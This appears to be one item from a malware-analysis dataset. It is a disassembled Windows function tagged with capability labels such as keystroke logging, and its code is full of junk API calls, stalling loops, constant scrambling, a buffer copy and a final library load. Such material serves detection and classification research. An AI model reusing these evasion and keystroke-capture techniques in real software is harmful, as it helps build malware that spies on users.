Function at 0x405360
Capabilities:
Get file attributes
Log keystrokes via polling
Manipulate console buffer

Disassembly:
mov edx, 0x44db60
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x405347
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4485d1
push eax
mov eax, 0x11b0
mov dword fs:[0], esp
call fcn.004163d0
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x70b7f4], 0x6a6
jne 0x405554
push edi
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetScrollInfo]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0x403824
push edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_ModifyMenuA]
push edi
lea eax, [ebp - 0x5b8]
push eax
push edi
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push edi
push edi
lea ecx, [ebp - 0x18]
push ecx
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_ToAsciiEx]
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_CreateDiscardableBitmap]
xor edx, edx
xor eax, eax
mov word [ebp - 0x12], ax
lea ecx, [ebp - 0x10]
push ecx
mov word [ebp - 0x14], dx
mov edx, dword [ebp - 0x14]
push edx
push edi
lea eax, [ebp - 0x11b8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push edi
push edi
lea ecx, [ebp - 0xe4]
push ecx
push edi
call dword [sym.imp.USER32.dll_DrawEdge]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_GetEventLogInformation]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
mov dword [ebp - 0xa4], 0xf
mov dword [ebp - 0xa8], edi
mov byte [ebp - 0xb8], 0
push edi
push 0x4036df
push 0x44db60
mov dword [ebp - 4], edi
call fcn.00407c72
add esp, 0xc
lea ecx, [ebp - 0xa0]
call fcn.00407c8c
lea ecx, [ebp - 0xa0]
call fcn.00407d6a
mov dword [ebp - 0x14], 0x40383c
lea edx, [ebp - 0x14]
push edx
lea ecx, [ebp - 0xa0]
call fcn.00407c9d
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0x402424
call fcn.00407d6a
push edi
call fcn.00407f18
add esp, 4
push edi
call fcn.00407ee9
add esp, 4
push edi
push edi
call fcn.00407eff
push edi
push edi
call fcn.00408069
add esp, 0x10
jmp 0x405340
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor esi, esi
lea esp, [esp]
cmp esi, 0x9c0c
jge 0x405572
push edi
lea ecx, [ebp - 0x18]
push ecx
push edi
push edi
push edi
call ebx
inc esi
cmp esi, 0x13612
jl 0x405560
mov eax, 0x11b1b
add dword [0x70b7f4], eax
call fcn.00405250
call fcn.00405270
xor esi, esi
cmp dword [0x70b7f4], edi
jbe 0x4055ed
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
jmp 0x4055b0
mov edx, dword [0x70c194]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x7086fc]
mov byte [ecx + esi], al
cmp dword [0x70b7f4], 0xa8
jne 0x4055e2
push 0
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x70b7f4]
jb 0x4055b0
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov edi, dword [sym.imp.USER32.dll_MessageBeep]
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x70b7f4]
add edx, eax
cmp edx, 0xe
jne 0x40569e
push 0x30
lea eax, [ebp - 0xd0]
push 0
push eax
mov dword [ebp - 0xd4], 0
call fcn.0040adb0
add esp, 0xc
push 0
lea ecx, [ebp - 0xd4]
push ecx
push 0
call esi
push 0
call edi
push 0
push 0
call ebx
push 0x403850
push 0
call dword [sym.imp.USER32.dll_LoadBitmapW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0
push 0
lea edx, [ebp - 0x11b8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push 0
push 0x403914
lea eax, [ebp - 0x9b8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x4f95a3
mov dword [ebp - 0x10], eax
jl 0x405604
mov edi, dword [sym.imp.GDI32.dll_GetCharABCWidthsA]
mov esi, 0x4f4
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x4056b8
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ecx]
push 0
call edi
cmp esi, 0x26c0e8
jge 0x405a14
mov dword [ebp - 0x38], 0x492cbb35
mov dword [ebp - 0x8c], 0x57f15988
mov dword [ebp - 0x18], 0x685fa56c
mov dword [ebp - 0x58], 0x5f52e86f
mov dword [ebp - 0x80], 0xd1ff52e
mov dword [ebp - 0x2c], 0x554ac3e1
mov dword [ebp - 0x50], 0x7c83830a
mov dword [ebp - 0x40], 0x3bb08b8b
mov dword [ebp - 0x20], 0x69cbbd1c
mov dword [ebp - 0x60], 0x663a8906
mov dword [ebp - 0x44], 0x562c53be
mov dword [ebp - 0x14], 0x5a7e1795
mov dword [ebp - 0x90], 0x3dee83ac
mov dword [ebp - 0x6c], 0x3b647778
mov dword [ebp - 0x74], 0x6a21946b
mov dword [ebp - 0x10], 0x182893a8
mov dword [ebp - 0x78], 0x2d22ab3d
mov dword [ebp - 0x7c], 0xa56ef9c
mov dword [ebp - 0x3c], 0x7989dc1c
mov dword [ebp - 0x88], 0x7303bf3f
mov dword [ebp - 0x1c], 0x5a71ba29
mov dword [ebp - 0x54], 0x6c1701b3
mov dword [ebp - 0x5c], 0x128a3532
mov dword [ebp - 0x34], 0x60601bc1
mov dword [ebp - 0x94], 0x68a2386a
mov dword [ebp - 0x30], 0x7dbfe29a
mov dword [ebp - 0x64], 0x640cd771
mov dword [ebp - 0x4c], 0x204e82b1
mov dword [ebp - 0x70], 0x2bd19ec0
mov dword [ebp - 0x84], 0x2fb012ce
mov dword [ebp - 0x28], 0x665d386a
mov dword [ebp - 0x48], 0x7218dbfa
mov dword [ebp - 0x24], 0x77cf54d1
mov dword [ebp - 0x68], 0x22aa174f
add dword [ebp - 0x8c], 0x734e7382
sub dword [ebp - 0x38], 0x639dca36
add dword [ebp - 0x18], 0x2575138c
add dword [ebp - 0x8c], 0x15194e20
add dword [ebp - 0x8c], 0x63853852
mov eax, 0x70a53373
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
add dword [ebp - 0x38], 0x6132c6ff
sub dword [ebp - 0x8c], 0x61886423
sub dword [ebp - 0x38], 0x2346fcc
sub dword [ebp - 0x18], 0x43f5502a
mov eax, 0x3a0bf46d
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x18], 0xc500736
sub dword [ebp - 0x18], 0x3d6e1371
sub dword [ebp - 0x8c], 0x688cded3
sub dword [ebp - 0x38], 0x47bd50
add dword [ebp - 0x18], 0xe89261b
sub dword [ebp - 0x80], 0x3ee825e9
add dword [ebp - 0x50], 0x761ea406
mov eax, 0x6e457933
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub dword [ebp - 0x58], 0x29cd2ef6
mov eax, 0x4564e111
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x2c], 0x749c9adb
sub dword [ebp - 0x14], 0x291117ea
add dword [ebp - 0x14], 0x5a9b2ee1
add dword [ebp - 0x2c], 0x7b80caff
mov eax, 0x5368920c
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x58], 0x79faaceb
mov eax, 0x28a926d0
mul dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], 0x772f010
mov eax, 0x1c10977
mul dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
sub dword [ebp - 0x7c], 0x38d739b6
sub dword [ebp - 0x8c], 0x37ec8f36
sub dword [ebp - 0x14], 0x71fc8666
mov eax, 0x3c80f4dd
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, 0x440f13af
mul dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, 0x78613148
mul dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x60], 0x52a74fd7
add dword [ebp - 0x2c], 0x45f1693a
add dword [ebp - 0x20], 0x12ebce78
add dword [ebp - 0x30], 0x6c76e8ea
mov eax, 0x447bdbdc
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
sub dword [ebp - 0x7c], 0xc28836a
sub dword [ebp - 0x88], 0x57cdd716
add dword [ebp - 0x10], 0x17c546ac
mov eax, 0x6b2b0404
mul dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
sub dword [ebp - 0x40], 0x398e75f6
mov eax, 0x67627e6a
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x38], 0x4af931b2
sub dword [ebp - 0x10], 0x5e0064ad
sub dword [ebp - 0x1c], 0x218e944
mov eax, 0x391fca52
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x58], 0x28829cab
add dword [ebp - 0x34], 0x73966dab
sub dword [ebp - 0x10], 0x29b8c81c
sub dword [ebp - 0x4c], 0x715e631a
add dword [ebp - 0x7c], 0x5b533554
add dword [ebp - 0x40], 0x2d3a7178
mov eax, 0x3818b5bf
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
add dword [ebp - 0x70], 0x51e1f57e
mov eax, 0x6c271a1d
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0x40], 0x1fda0b6d
sub dword [ebp - 0x3c], 0x3cd49a01
mov eax, 0x12804e49
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
sub dword [ebp - 0x10], 0x600e9b1e
mov eax, 0x6b82ae34
mul dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
add dword [ebp - 0x6c], 0x64f5a0e4
cmp esi, 0x2735c9
jg 0x405a29
inc esi
cmp esi, 0x1f6e7e0
jl 0x4056d0
call fcn.00405090
xor edx, edx
cmp edx, 0x26
jne 0x405a3a
call fcn.00405230
inc edx
cmp edx, 0x409495
jl 0x405a30
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
mov ebx, dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
mov dword [ebp - 0x10], 0x7b
lea esp, [esp]
cmp dword [0x70b7f4], 0x86
jne 0x405a7e
push 0
call esi
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
sub dword [ebp - 0x10], 1
jne 0x405a60
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov dword [ebp - 0x10], 0x180ef
lea ecx, [ecx]
cmp dword [0x70b7f4], 0x1f
jne 0x405ac1
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp - 0x10], 1
jne 0x405aa0
push 0x403938
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00405330
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret